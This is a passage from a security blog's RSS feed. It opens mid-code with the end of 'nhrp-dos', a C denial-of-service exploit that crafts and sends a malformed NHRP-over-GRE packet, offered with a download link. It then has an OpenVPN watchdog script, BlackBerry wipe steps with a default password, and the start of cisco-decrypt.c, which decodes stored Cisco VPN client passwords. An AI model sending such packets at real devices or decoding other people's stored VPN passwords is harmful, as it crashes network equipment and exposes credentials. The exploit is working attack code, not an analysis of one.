</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.hops     <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xFF</span>;                 <span style="color:#75715e">/* NHRP hop count */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* DoS -&gt; Set length to 0xFFFF */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.length   <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0xFFFF</span>);        <span style="color:#75715e">/* NHRP length */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Checksum can be incorrect */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.checksum <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP checksum */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.mpoa_ext <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0034</span>);        <span style="color:#75715e">/* NHRP MPOA ext */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.version  <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;                    <span style="color:#75715e">/* NHRP version */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.type     <span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span>;                    <span style="color:#75715e">/* NHRP type */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.nbma_addr<span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP NBMA t/l addr */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.nbma_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP NBMA t/l sub */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP mandatory part */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.src_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP src proto len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.dst_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP dst proto len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.flags     <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x8000</span>);        <span style="color:#75715e">/* NHRP flags */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.request_id  <span style="color:#f92672">=</span> <span style="color:#a6e22e">htonl</span>(nhrp_req_id); <span style="color:#75715e">/* NHRP request ID */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_nbma <span style="color:#f92672">=</span> src_ip;             <span style="color:#75715e">/* NHRP client addr */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_nbma_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;              <span style="color:#75715e">/* NHRP client sub  */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_pro_addr <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;              <span style="color:#75715e">/* NHRP client proto */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP client information entries (CIE) */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.code       <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP code */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.pref_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xFF</span>;                 <span style="color:#75715e">/* NHRP prefix len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.reserved   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x0000</span>;               <span style="color:#75715e">/* NHRP reserved */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.mtu        <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">1514</span>);          <span style="color:#75715e">/* NHRP mtu */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.holding_time <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">30</span>);          <span style="color:#75715e">/* NHRP holding time */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP t/l client */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                <span style="color:#75715e">/* NHRP t/l sub */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client_pro <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                <span style="color:#75715e">/* NHRP t/l pro */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.preference <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP preference */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.ext        <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x8003</span>);        <span style="color:#75715e">/* NHRP C/U/Type (ext)*/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the IPv4 header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ip_hdr, <span style="color:#66d9ef">sizeof</span>(ip_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the GRE header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf <span style="color:#f92672">+</span> IP_HDR_SIZE, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>gre_hdr, <span style="color:#66d9ef">sizeof</span>(gre_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the NHRP header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf <span style="color:#f92672">+</span> IP_HDR_SIZE <span style="color:#f92672">+</span> GRE_SIZE, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>nhrp_hdr,
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">sizeof</span>(nhrp_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Fix some BSD bugs */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifdef _BSD
</span></span></span><span style="display:flex;"><span>iphdr <span style="color:#f92672">=</span> (<span style="color:#66d9ef">struct</span> ip <span style="color:#f92672">*</span>) buf;
</span></span><span style="display:flex;"><span>iphdr<span style="color:#f92672">-&gt;</span>ip_len <span style="color:#f92672">=</span> <span style="color:#a6e22e">ntohs</span>(iphdr<span style="color:#f92672">-&gt;</span>ip_len);
</span></span><span style="display:flex;"><span>iphdr<span style="color:#f92672">-&gt;</span>ip_off <span style="color:#f92672">=</span> <span style="color:#a6e22e">ntohs</span>(iphdr<span style="color:#f92672">-&gt;</span>ip_off);
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&amp;</span>sin, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">struct</span> sockaddr_in));
</span></span><span style="display:flex;"><span>sin.sin_family <span style="color:#f92672">=</span> AF_INET;
</span></span><span style="display:flex;"><span>sin.sin_addr.s_addr <span style="color:#f92672">=</span> iphdr<span style="color:#f92672">-&gt;</span>ip_dst.s_addr;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">nhrp-dos (c) by Martin Kluge &lt;mk@elxsi.de&gt;, 2007</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;------------------------------------------------</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Sending DoS packet...&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send the packet */</span>
</span></span><span style="display:flex;"><span>bytes <span style="color:#f92672">=</span> <span style="color:#a6e22e">sendto</span>(fd, buf, IP_HDR_SIZE <span style="color:#f92672">+</span> GRE_SIZE <span style="color:#f92672">+</span> NHRP_HDR_SIZE, <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">struct</span> sockaddr <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>sin, <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">struct</span> sockaddr));
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;DONE (%d bytes)</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">&#34;</span>, bytes);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Free the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">free</span>(buf);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Return number of bytes */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(bytes);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// milw0rm.com [2007-08-09]
</span></span></span></code></pre></div><p><a href="/wp-content/uploads/2009/09/NHRP_dos.c">Download</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Auto Check - OpenVPN</title>
      <link>https://www.deepreflect.net/2009/09/14/auto-check-openvpn/</link>
      <pubDate>Mon, 14 Sep 2009 01:45:30 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=705</guid> 
      <description>&lt;p&gt;Su connessioni fastweb usando openvpn è in caso di restart dei router di destinazione spesso le sessioni restano appese e non viene ristabilito il tunnel, in teoria questo bug è stato risolto nelle ultime release, per non rischiare 4 righe di script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ! ping -c &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; -w &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;xxx.xxx.xxx.xxx&amp;#34;&lt;/span&gt; &amp;amp;&amp;gt;/dev/null ; &lt;span style=&#34;color:#66d9ef&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/etc/init.d/openvpn restart
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Eseguite ogni 5 minuti come da cron:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;*/5 * * * *  /root/yeahup&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Su connessioni fastweb usando openvpn è in caso di restart dei router di destinazione spesso le sessioni restano appese e non viene ristabilito il tunnel, in teoria questo bug è stato risolto nelle ultime release, per non rischiare 4 righe di script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ! ping -c <span style="color:#ae81ff">1</span> -w <span style="color:#ae81ff">5</span> <span style="color:#e6db74">&#34;xxx.xxx.xxx.xxx&#34;</span> &amp;&gt;/dev/null ; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>/etc/init.d/openvpn restart
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span></code></pre></div><p>Eseguite ogni 5 minuti come da cron:</p>
<p><code>*/5 * * * *  /root/yeahup</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>BlackBerry - Full Wipe</title>
      <link>https://www.deepreflect.net/2009/09/04/blackberry-full-wipe/</link>
      <pubDate>Fri, 04 Sep 2009 13:07:33 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=702</guid> 
      <description>&lt;p&gt;Blackberry &amp;ldquo;Wipe-Handheld&amp;rdquo; command list:&lt;/p&gt;
&lt;p&gt;=&amp;gt; Options menu
=&amp;gt; Security Options
=&amp;gt; General Settings
=&amp;gt; Menu
=&amp;gt; Wipe handheld
=&amp;gt; Enter password (&amp;ldquo;blackberry&amp;rdquo; by default or your security password)&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Blackberry &ldquo;Wipe-Handheld&rdquo; command list:</p>
<p>=&gt; Options menu
=&gt; Security Options
=&gt; General Settings
=&gt; Menu
=&gt; Wipe handheld
=&gt; Enter password (&ldquo;blackberry&rdquo; by default or your security password)</p>
]]></content:encoded>
    </item>
    <item>
      <title>cisco-decrypt.c</title>
      <link>https://www.deepreflect.net/2009/08/20/cisco-decrypt-c/</link>
      <pubDate>Thu, 20 Aug 2009 02:28:21 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=690</guid> 
      <description>&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/*&lt;/span&gt; Decoder &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; password encoding of Cisco VPN client&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Copyright (C) &lt;span style=&#34;color:#ae81ff&#34;&gt;2005&lt;/span&gt; Maurice Massar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Thanks to HAL&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;9000&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;evilscientists&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;de &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; decoding &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; posting the algorithm&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;This program is free software; you can redistribute it &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt; modify
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;it under the terms of the GNU General Public License as published by
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;the Free Software Foundation; either version &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; of the License, &lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(at your option) any later version&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This program is distributed &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; the hope that it will be useful,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MERCHANTABILITY &lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt; FITNESS FOR A PARTICULAR PURPOSE&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;  See the
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GNU General Public License &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; more details&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;You should have received a copy of the GNU General Public License
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;along with this program; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt;, write to the Free Software
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Foundation, Inc&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;59&lt;/span&gt; Temple Place, Suite &lt;span style=&#34;color:#ae81ff&#34;&gt;330&lt;/span&gt;, Boston, MA  &lt;span style=&#34;color:#ae81ff&#34;&gt;02111&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1307&lt;/span&gt;  USA
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Requires libgcrypt version &lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;90&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt; newer
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Compile with:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcc &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;Wall &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;o cisco&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;decrypt cisco&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;decrypt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;c &lt;span style=&#34;color:#f92672&#34;&gt;$&lt;/span&gt;(libgcrypt&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;config &lt;span style=&#34;color:#f92672&#34;&gt;--&lt;/span&gt;libs &lt;span style=&#34;color:#f92672&#34;&gt;--&lt;/span&gt;cflags)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Usage:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;./&lt;/span&gt;cisco&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;decrypt DEADBEEF&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;012345678&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;424242.&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;..&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;7261&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include &amp;lt;gcrypt.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include &amp;lt;errno.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; hex2bin_c(unsigned &lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; c)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;0&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;(c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;9&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; c &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;0&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;(c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;F&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; c &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;(c &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;f&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; c &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; hex2bin(&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;str, char &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;bin, &lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;len)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; i, l;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;bin)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; EINVAL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; str[i] &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\0&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (hex2bin_c(str[i]) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; EINVAL;
